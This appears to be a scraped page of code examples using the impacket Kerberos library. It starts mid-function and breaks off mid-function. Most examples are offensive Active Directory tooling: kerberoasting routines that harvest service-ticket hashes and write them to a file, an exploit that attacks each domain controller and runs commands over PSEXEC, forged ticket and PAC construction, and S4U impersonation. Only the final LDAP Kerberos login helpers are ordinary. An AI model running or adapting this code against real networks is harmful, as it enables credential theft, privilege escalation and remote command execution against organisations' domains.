        cipherText = decodedTGS['ticket']['enc-part']['cipher']

        # Key Usage 2
        # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
        #  application session key), encrypted with the service key
        #  (section 5.4.2)

        newCipher = _enctype_table[int(
            decodedTGS['ticket']['enc-part']['etype'])]

        # hash / AES key for the TGT / TGS goes here
        self.__nthash = 'yourhashhere'
        if self.__nthash != '':
            key = Key(newCipher.enctype, self.__nthash.decode('hex'))

        try:
            # If is was plain U2U, this is the key
            plainText = newCipher.decrypt(key, 2, str(cipherText))
        except:
            # S4USelf + U2U uses this other key
            plainText = cipher.decrypt(sessionKey, 2, str(cipherText))

        # Print PAC in human friendly form
        self.printPac(plainText)

        # Save the ticket in case we want to use it later
        self.saveTicket(tgs, oldSessionKey)
Example #11
0
    def kerberoasting(self):
        # Building the search filter
        searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"

        try:
            resp = self.ldapConnection.search(searchFilter=searchFilter,
                                              attributes=[
                                                  'servicePrincipalName',
                                                  'sAMAccountName',
                                                  'pwdLastSet', 'MemberOf',
                                                  'userAccountControl',
                                                  'lastLogon'
                                              ],
                                              sizeLimit=999)
        except ldap_impacket.LDAPSearchError as e:
            if e.getErrorString().find('sizeLimitExceeded') >= 0:
                logging.debug(
                    'sizeLimitExceeded exception caught, giving up and processing the data received'
                )
                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
                # paged queries
                resp = e.getAnswers()
                pass
            else:
                return False

        answers = []
        logging.debug('Total of records returned %d' % len(resp))

        for item in resp:
            if isinstance(item,
                          ldapasn1_impacket.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName = ''
            memberOf = ''
            SPNs = []
            pwdLastSet = ''
            userAccountControl = 0
            lastLogon = 'N/A'
            delegation = ''
            try:
                for attribute in item['attributes']:
                    if str(attribute['type']) == 'sAMAccountName':
                        sAMAccountName = str(attribute['vals'][0])
                        mustCommit = True
                    elif str(attribute['type']) == 'userAccountControl':
                        userAccountControl = str(attribute['vals'][0])
                        if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
                            delegation = 'unconstrained'
                        elif int(userAccountControl
                                 ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
                            delegation = 'constrained'
                    elif str(attribute['type']) == 'memberOf':
                        memberOf = str(attribute['vals'][0])
                    elif str(attribute['type']) == 'pwdLastSet':
                        if str(attribute['vals'][0]) == '0':
                            pwdLastSet = '<never>'
                        else:
                            pwdLastSet = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'lastLogon':
                        if str(attribute['vals'][0]) == '0':
                            lastLogon = '<never>'
                        else:
                            lastLogon = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'servicePrincipalName':
                        for spn in attribute['vals']:
                            SPNs.append(str(spn))

                if mustCommit is True:
                    if int(userAccountControl) & UF_ACCOUNTDISABLE:
                        logging.debug('Bypassing disabled account %s ' %
                                      sAMAccountName)
                    else:
                        for spn in SPNs:
                            answers.append([
                                spn, sAMAccountName, memberOf, pwdLastSet,
                                lastLogon, delegation
                            ])
            except Exception as e:
                logging.error('Skipping item, cannot process due to error %s' %
                              str(e))
                pass

        if len(answers) > 0:
            users = dict((vals[1], vals[0]) for vals in answers)
            TGT = KerberosAttacks(self).getTGT_kerberoasting()
            for user, SPN in users.items():
                try:
                    serverName = Principal(
                        SPN,
                        type=constants.PrincipalNameType.NT_SRV_INST.value)
                    tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                        serverName, self.domain, self.kdcHost, TGT['KDC_REP'],
                        TGT['cipher'], TGT['sessionKey'])
                    r = KerberosAttacks(self).outputTGS(
                        tgs, oldSessionKey, sessionKey, user, SPN)
                    self.logger.highlight(u'{}'.format(r))
                    with open(self.args.kerberoasting,
                              'a+') as hash_kerberoasting:
                        hash_kerberoasting.write(r + '\n')
                except Exception as e:
                    logging.debug("Exception:", exc_info=True)
                    logging.error('SPN: %s - %s' % (SPN, str(e)))
        else:
            self.logger.error("No entries found!")
Example #12
0
    def kerberoasting(self):
        # Building the search filter
        searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
        attributes = [
            'servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf',
            'userAccountControl', 'lastLogon'
        ]
        resp = self.search(searchFilter, attributes, 0)
        if resp:
            answers = []
            self.logger.info('Total of records returned %d' % len(resp))

            for item in resp:
                if isinstance(item,
                              ldapasn1_impacket.SearchResultEntry) is not True:
                    continue
                mustCommit = False
                sAMAccountName = ''
                memberOf = ''
                SPNs = []
                pwdLastSet = ''
                userAccountControl = 0
                lastLogon = 'N/A'
                delegation = ''
                try:
                    for attribute in item['attributes']:
                        if str(attribute['type']) == 'sAMAccountName':
                            sAMAccountName = str(attribute['vals'][0])
                            mustCommit = True
                        elif str(attribute['type']) == 'userAccountControl':
                            userAccountControl = str(attribute['vals'][0])
                            if int(userAccountControl
                                   ) & UF_TRUSTED_FOR_DELEGATION:
                                delegation = 'unconstrained'
                            elif int(
                                    userAccountControl
                            ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
                                delegation = 'constrained'
                        elif str(attribute['type']) == 'memberOf':
                            memberOf = str(attribute['vals'][0])
                        elif str(attribute['type']) == 'pwdLastSet':
                            if str(attribute['vals'][0]) == '0':
                                pwdLastSet = '<never>'
                            else:
                                pwdLastSet = str(
                                    datetime.fromtimestamp(
                                        self.getUnixTime(
                                            int(str(attribute['vals'][0])))))
                        elif str(attribute['type']) == 'lastLogon':
                            if str(attribute['vals'][0]) == '0':
                                lastLogon = '<never>'
                            else:
                                lastLogon = str(
                                    datetime.fromtimestamp(
                                        self.getUnixTime(
                                            int(str(attribute['vals'][0])))))
                        elif str(attribute['type']) == 'servicePrincipalName':
                            for spn in attribute['vals']:
                                SPNs.append(str(spn))

                    if mustCommit is True:
                        if int(userAccountControl) & UF_ACCOUNTDISABLE:
                            logging.debug('Bypassing disabled account %s ' %
                                          sAMAccountName)
                        else:
                            for spn in SPNs:
                                answers.append([
                                    spn, sAMAccountName, memberOf, pwdLastSet,
                                    lastLogon, delegation
                                ])
                except Exception as e:
                    logging.error(
                        'Skipping item, cannot process due to error %s' %
                        str(e))
                    pass

            if len(answers) > 0:
                TGT = KerberosAttacks(self).getTGT_kerberoasting()
                dejavue = []
                for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers:
                    if sAMAccountName not in dejavue:
                        try:
                            serverName = Principal(
                                SPN,
                                type=constants.PrincipalNameType.NT_SRV_INST.
                                value)
                            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                                serverName, self.domain, self.kdcHost,
                                TGT['KDC_REP'], TGT['cipher'],
                                TGT['sessionKey'])
                            r = KerberosAttacks(self).outputTGS(
                                tgs, oldSessionKey, sessionKey, sAMAccountName,
                                SPN)
                            self.logger.highlight(
                                u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}'
                                .format(sAMAccountName, memberOf, pwdLastSet,
                                        lastLogon))
                            self.logger.highlight(u'{}'.format(r))
                            with open(self.args.kerberoasting,
                                      'a+') as hash_kerberoasting:
                                hash_kerberoasting.write(r + '\n')
                            dejavue.append(sAMAccountName)
                        except Exception as e:
                            logging.debug("Exception:", exc_info=True)
                            logging.error('SPN: %s - %s' % (SPN, str(e)))
                return True
            else:
                self.logger.highlight("No entries found!")
                return
        self.logger.error("Error with the LDAP account used")
Example #13
0
    def exploit(self):
        if self.__kdcHost is None:
            getDCs = True
            self.__kdcHost = self.__domain
        else:
            getDCs = False

        self.__domainSid, self.__rid = self.getUserSID()
        try:
            self.__forestSid = self.getForestSid()
        except Exception as e:
            # For some reason we couldn't get the forest data. No problem, we can still continue
            # Only drawback is we won't get forest admin if successful
            logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
            self.__forestSid = None

        if getDCs is False:
            # User specified a DC already, no need to get the list
            self.__domainControllers.append(self.__kdcHost)
        else:
            self.__domainControllers = self.getDomainControllers()

        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        for dc in self.__domainControllers:
            logging.info('Attacking domain controller %s' % dc)
            self.__kdcHost = dc
            exception = None
            while True:
                try:
                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                            self.__lmhash, self.__nthash, None,
                                                                            self.__kdcHost, requestPAC=False)
                except KerberosError as e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash is '' and self.__nthash is '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                            continue
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break

                # So, we have the TGT, now extract the new session key and finish
                asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]

                # If the cypher in use != RC4 there's gotta be a salt for us to use
                salt = ''
                if asRep['padata']:
                    for pa in asRep['padata']:
                        if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
                            etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
                            salt = etype2['salt'].prettyPrint()

                cipherText = asRep['enc-part']['cipher']

                # Key Usage 3
                # AS-REP encrypted part (includes TGS session key or
                # application session key), encrypted with the client key
                # (Section 5.4.2)
                if self.__nthash != '':
                    key = Key(cipher.enctype,self.__nthash)
                else:
                    key = cipher.string_to_key(self.__password, salt, None)

                plainText = cipher.decrypt(key, 3, cipherText)
                encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
                authTime = encASRepPart['authtime']

                serverName = Principal('krbtgt/%s' % self.__domain.upper(),
                                       type=constants.PrincipalNameType.NT_PRINCIPAL.value)
                tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
                                                                             cipher, sessionKey, authTime)

                # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
                serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
                try:
                    tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
                                                                                        self.__kdcHost, tgs, cipher,
                                                                                        sessionKey)
                except KerberosError as e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash is '' and self.__nthash is '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break
                else:
                    # Everything went well, let's save the ticket if asked and leave
                    if self.__writeTGT is not None:
                        from impacket.krb5.ccache import CCache
                        ccache = CCache()
                        ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                        ccache.saveFile(self.__writeTGT)
                    break
            if exception is None:
                # Success!
                logging.info('%s found vulnerable!' % dc)
                break
            else:
                logging.info('%s seems not vulnerable (%s)' % (dc, exception))

        if exception is None:
            TGS = {}
            TGS['KDC_REP'] = tgsCIFS
            TGS['cipher'] = cipher
            TGS['oldSessionKey'] = oldSessionKeyCIFS
            TGS['sessionKey'] = sessionKeyCIFS

            from impacket.smbconnection import SMBConnection
            if self.__targetIp is None:
                s = SMBConnection('*SMBSERVER', self.__target)
            else:
                s = SMBConnection('*SMBSERVER', self.__targetIp)
            s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
                            useCache=False)

            if self.__command != 'None':
                executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)
                executer.run(self.__target)
Example #14
0
    def run(self):
        if self.__doKerberos:
            self.__target = self.getMachineName()
        else:
            if self.__kdcHost is not None:
                self.__target = self.__kdcHost
            else:
                self.__target = self.__domain

        # Connect to LDAP
        ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost)
        if self.__doKerberos is not True:
            ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
        else:
            ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                         self.__aesKey, kdcHost=self.__kdcHost)

        searchFilter = ldapasn1.Filter()
        searchFilter['present'] = ldapasn1.Present('servicePrincipalName')

        resp = ldapConnection.search(searchFilter=searchFilter,
                                     attributes=['servicePrincipalName', 'sAMAccountName',
                                                 'pwdLastSet', 'MemberOf', 'userAccountControl'])
        answers = []
        logging.debug('Total of records returned %d' % len(resp))
        for item in resp:
            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName =  ''
            memberOf = ''
            SPNs = []
            pwdLastSet = ''
            userAccountControl = 0
            for attribute in item['attributes']:
                if attribute['type'] == 'sAMAccountName':
                    if str(attribute['vals'][0]).endswith('$') is False:
                        # User Account
                        sAMAccountName = str(attribute['vals'][0])
                        mustCommit = True
                elif attribute['type'] == 'userAccountControl':
                    userAccountControl = str(attribute['vals'][0])
                elif attribute['type'] == 'memberOf':
                    memberOf = str(attribute['vals'][0])
                elif attribute['type'] == 'pwdLastSet':
                    pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
                elif attribute['type'] == 'servicePrincipalName':
                    for spn in attribute['vals']:
                        SPNs.append(str(spn))

            if mustCommit is True:
                if int(userAccountControl) & UF_ACCOUNTDISABLE:
                    logging.debug('Bypassing disabled account %s ' % sAMAccountName)
                else:
                    for spn in SPNs:
                        answers.append([spn, sAMAccountName,memberOf, pwdLastSet])

        if len(answers)>0:
            self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet"])
            print '\n\n'

            if self.__requestTGS is True:
                # Let's get unique user names an a SPN to request a TGS for
                users = dict( (vals[1], vals[0]) for vals in answers)

                # Get a TGT for the current user
                TGT = self.getTGT()
                if self.__outputFileName is not None:
                    fd = open(self.__outputFileName, 'w+')
                else:
                    fd = None
                for user, SPN in users.iteritems():
                    try:
                        serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
                        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain,
                                                                                self.__kdcHost,
                                                                                TGT['KDC_REP'], TGT['cipher'],
                                                                                TGT['sessionKey'])
                        self.outputTGS(tgs, oldSessionKey, sessionKey, user, fd)
                    except Exception , e:
                        logging.error(str(e))
                if fd is not None:
                    fd.close()
Example #15
0
    def createBasicTicket(self):
        if self.__options.request is True:
            if self.__domain == self.__server:
                logging.info('Requesting TGT to target domain to use as basis')
            else:
                logging.info('Requesting TGT/TGS to target domain to use as basis')

            if self.__options.hashes is not None:
                lmhash, nthash = self.__options.hashes.split(':')
            else:
                lmhash = ''
                nthash = ''
            userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value)
            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                    unhexlify(lmhash), unhexlify(nthash), None,
                                                                    self.__options.dc_ip)
            if self.__domain == self.__server:
                kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
            else:
                serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value)
                tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher,
                                                                        sessionKey)
                kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

            # Let's check we have all the necessary data based on the ciphers used. Boring checks
            ticketCipher = int(kdcRep['ticket']['enc-part']['etype'])
            encPartCipher = int(kdcRep['enc-part']['etype'])

            if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \
                            self.__options.nthash is None:
                logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. '
                                 'Can\'t continue ( or try running again w/o the -request option)')
                return None, None

            if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
                encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
                self.__options.aesKey is None:
                logging.critical(
                    'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
                    'Can\'t continue (or try running again w/o the -request option)')
                return None, None

            if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
                encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
                self.__options.aesKey is not None and len(self.__options.aesKey) > 32:
                logging.critical(
                    'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. '
                    'Can\'t continue (or try running again w/o the -request option)')
                return None, None

            if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
                 encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None:
                logging.critical(
                    'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
                    'Can\'t continue (or try running again w/o the -request option)')
                return None, None

            if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
                 encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \
                 self.__options.aesKey is not None and len(self.__options.aesKey) < 64:
                logging.critical(
                    'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. '
                    'Can\'t continue')
                return None, None
            kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
            kdcRep['cname']['name-string'] = noValue
            kdcRep['cname']['name-string'][0] = self.__target

        else:
            logging.info('Creating basic skeleton ticket and PAC Infos')
            if self.__domain == self.__server:
                kdcRep = AS_REP()
                kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value
            else:
                kdcRep = TGS_REP()
                kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value
            kdcRep['pvno'] = 5
            if self.__options.nthash is None:
                kdcRep['padata'] = noValue
                kdcRep['padata'][0] = noValue
                kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value

                etype2 = ETYPE_INFO2()
                etype2[0] = noValue
                if len(self.__options.aesKey) == 64:
                    etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
                else:
                    etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
                etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target)
                encodedEtype2 = encoder.encode(etype2)

                kdcRep['padata'][0]['padata-value'] = encodedEtype2

            kdcRep['crealm'] = self.__domain.upper()
            kdcRep['cname'] = noValue
            kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
            kdcRep['cname']['name-string'] = noValue
            kdcRep['cname']['name-string'][0] = self.__target

            kdcRep['ticket'] = noValue
            kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value
            kdcRep['ticket']['realm'] = self.__domain.upper()
            kdcRep['ticket']['sname'] = noValue
            kdcRep['ticket']['sname']['name-string'] = noValue
            kdcRep['ticket']['sname']['name-string'][0] = self.__service

            if self.__domain == self.__server:
                kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
                kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper()
            else:
                kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
                kdcRep['ticket']['sname']['name-string'][1] = self.__server

            kdcRep['ticket']['enc-part'] = noValue
            kdcRep['ticket']['enc-part']['kvno'] = 2
            kdcRep['enc-part'] = noValue
            if self.__options.nthash is None:
                if len(self.__options.aesKey) == 64:
                    kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
                    kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
                else:
                    kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
                    kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
            else:
                kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
                kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value

            kdcRep['enc-part']['kvno'] = 2
            kdcRep['enc-part']['cipher'] = noValue

        pacInfos = self.createBasicPac(kdcRep)

        return kdcRep, pacInfos
Example #16
0
    def run(self):

        # Do we have a TGT cached?
        tgt = None
        try:
            ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
            principal = 'krbtgt/%s@%s' % (self.__domain.upper(),
                                          self.__domain.upper())
            creds = ccache.getCredential(principal)
            if creds is not None:
                # ToDo: Check this TGT belogns to the right principal
                TGT = creds.toTGT()
                tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT[
                    'sessionKey']
                oldSessionKey = sessionKey
                logging.info('Using TGT from cache')
            else:
                logging.debug("No valid credentials found in cache. ")
        except:
            # No cache present
            pass

        if tgt is None:
            # Still no TGT
            userName = Principal(
                self.__user,
                type=constants.PrincipalNameType.NT_PRINCIPAL.value)
            logging.info('Getting TGT for user')
            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
                userName, self.__password, self.__domain,
                unhexlify(self.__lmhash), unhexlify(self.__nthash),
                self.__aesKey, self.__kdcHost)

        # Ok, we have valid TGT, let's try to get a service ticket
        if self.__options.impersonate is None:
            # Normal TGS interaction
            logging.info('Getting ST for user')
            serverName = Principal(
                self.__options.spn,
                type=constants.PrincipalNameType.NT_SRV_INST.value)
            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                serverName, domain, self.__kdcHost, tgt, cipher, sessionKey)
            self.__saveFileName = self.__user
        else:
            # Here's the rock'n'roll
            try:
                logging.info('Impersonating %s' % self.__options.impersonate)
                tgs, copher, oldSessionKey, sessionKey = self.doS4U(
                    tgt, cipher, oldSessionKey, sessionKey, self.__kdcHost)
            except Exception as e:
                logging.debug("Exception", exc_info=True)
                logging.error(str(e))
                if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:
                    logging.error(
                        'Probably user %s does not have constrained delegation permisions or impersonated user does not exist'
                        % self.__user)
                if str(e).find('KDC_ERR_BADOPTION') >= 0:
                    logging.error(
                        'Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable'
                        % self.__user)

                return
            self.__saveFileName = self.__options.impersonate

        self.saveTicket(tgs, oldSessionKey)
Example #17
0
def ldap_kerberos(domain, kdc, tgt, username, ldapconnection, hostname):
    # Hackery to authenticate with ldap3 using impacket Kerberos stack
    # I originally wrote this for BloodHound.py, but it works fine (tm) here too

    username = Principal(username,
                         type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    servername = Principal('ldap/%s' % hostname,
                           type=constants.PrincipalNameType.NT_SRV_INST.value)
    tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc,
                                                tgt['KDC_REP'], tgt['cipher'],
                                                tgt['sessionKey'])

    # Let's build a NegTokenInit with a Kerberos AP_REQ
    blob = SPNEGO_NegTokenInit()

    # Kerberos
    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

    # Let's extract the ticket from the TGS
    tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
    ticket = Ticket()
    ticket.from_asn1(tgs['ticket'])

    # Now let's build the AP_REQ
    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = []
    apReq['ap-options'] = constants.encodeFlags(opts)
    seq_set(apReq, 'ticket', ticket.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = domain
    seq_set(authenticator, 'cname', username.components_to_asn1)
    now = datetime.datetime.utcnow()

    authenticator['cusec'] = now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 11
    # AP-REQ Authenticator (includes application authenticator
    # subkey), encrypted with the application session key
    # (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11,
                                                   encodedAuthenticator, None)

    apReq['authenticator'] = noValue
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    blob['MechToken'] = encoder.encode(apReq)

    # From here back to ldap3
    ldapconnection.open(read_server_info=False)
    request = bind_operation(ldapconnection.version, SASL, None, None,
                             ldapconnection.sasl_mechanism, blob.getData())
    response = ldapconnection.post_send_single_response(
        ldapconnection.send('bindRequest', request, None))[0]
    ldapconnection.result = response
    if response['result'] == 0:
        ldapconnection.bound = True
        ldapconnection.refresh_server_info()
    return response['result'] == 0
Example #18
0
    def kerberosLogin(self,
                      user,
                      password,
                      domain='',
                      lmhash='',
                      nthash='',
                      aesKey='',
                      kdcHost=None,
                      TGT=None,
                      TGS=None,
                      useCache=True):
        """
        logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for (required)
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
        :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
        :param struct TGT: If there's a TGT available, send the structure here and it will be used
        :param struct TGS: same for TGS. See smb3.py for the format
        :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False

        :return: True, raises a LDAPSessionError if error.
        """

        if lmhash != '' or nthash != '':
            if len(lmhash) % 2: lmhash = '0%s' % lmhash
            if len(nthash) % 2: nthash = '0%s' % nthash
            try:  # just in case they were converted already
                lmhash = unhexlify(lmhash)
                nthash = unhexlify(nthash)
            except:
                pass

        # Importing down here so pyasn1 is not required if kerberos is not used.
        from impacket.krb5.ccache import CCache
        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
        from impacket.krb5 import constants
        from impacket.krb5.types import Principal, KerberosTime, Ticket
        from pyasn1.codec.der import decoder, encoder
        import datetime

        if TGT is not None or TGS is not None:
            useCache = False

        if useCache is True:
            try:
                ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            except:
                # No cache present
                pass
            else:
                # retrieve user and domain information from CCache file if needed
                if user == '' and len(ccache.principal.components) > 0:
                    user = ccache.principal.components[0]['data']
                if domain == '':
                    domain = ccache.principal.realm['data']
                LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
                principal = 'ldap/%s@%s' % (self._dstHost.upper(),
                                            domain.upper())
                creds = ccache.getCredential(principal)
                if creds is None:
                    # Let's try for the TGT and go from there
                    principal = 'krbtgt/%s@%s' % (domain.upper(),
                                                  domain.upper())
                    creds = ccache.getCredential(principal)
                    if creds is not None:
                        TGT = creds.toTGT()
                        LOG.debug('Using TGT from cache')
                    else:
                        LOG.debug("No valid credentials found in cache. ")
                else:
                    TGS = creds.toTGS()
                    LOG.debug('Using TGS from cache')

        # First of all, we need to get a TGT for the user
        userName = Principal(
            user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        if TGT is None:
            if TGS is None:
                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
                    userName, password, domain, lmhash, nthash, aesKey,
                    kdcHost)
        else:
            tgt = TGT['KDC_REP']
            cipher = TGT['cipher']
            sessionKey = TGT['sessionKey']

        if TGS is None:
            serverName = Principal(
                'ldap/%s' % self._dstHost,
                type=constants.PrincipalNameType.NT_SRV_INST.value)
            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                serverName, domain, kdcHost, tgt, cipher, sessionKey)
        else:
            tgs = TGS['KDC_REP']
            cipher = TGS['cipher']
            sessionKey = TGS['sessionKey']

            # Let's build a NegTokenInit with a Kerberos REQ_AP

        blob = SPNEGO_NegTokenInit()

        # Kerberos
        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

        # Let's extract the ticket from the TGS
        tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
        ticket = Ticket()
        ticket.from_asn1(tgs['ticket'])

        # Now let's build the AP_REQ
        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] = constants.encodeFlags(opts)
        seq_set(apReq, 'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = domain
        seq_set(authenticator, 'cname', userName.components_to_asn1)
        now = datetime.datetime.utcnow()

        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

